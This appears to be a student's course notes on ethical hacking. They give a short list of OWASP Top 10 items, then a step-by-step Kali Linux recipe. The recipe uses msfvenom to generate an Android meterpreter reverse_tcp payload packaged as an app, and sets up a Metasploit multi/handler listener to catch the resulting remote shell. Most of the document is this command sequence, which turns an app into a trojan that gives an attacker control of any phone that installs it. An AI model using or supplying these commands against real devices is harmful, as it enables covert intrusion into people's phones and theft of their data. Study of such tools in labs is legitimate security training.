**DAY 26**

**8. Insecure Deserialization**

Changing content of super cookie

**9. Using components with known vulnerabilities**

Components=libraries, features, frameworks, extensions etc.

Components having vulnerabilities leads to attacks

**10. Insufficient logging and monitoring**

Read hacky hack hack

**Hacking mobile platforms:**

🡪within the network only

In kali linux:

Msfvenom

-sudo su

-msfvenom -p android/meterpreter/reverse\_tcp LHOST=<ipaddress> LPORT=4444 R > <android app name>

-msfconsole

>msf5 >use exploit/multi/handler

>msf5 exploit(multi/handler) >show options

>msf5 exploit(multi/handler) > set payload android /meterpreter/reverse\_tcp

>msf5 …………………………………..>show options

>msf5 …………………………………...>set LHOST <kali ip>

>msf5 ……………………………………..> set LPORT <any port>

>msf5 ………………………………………>exploit or run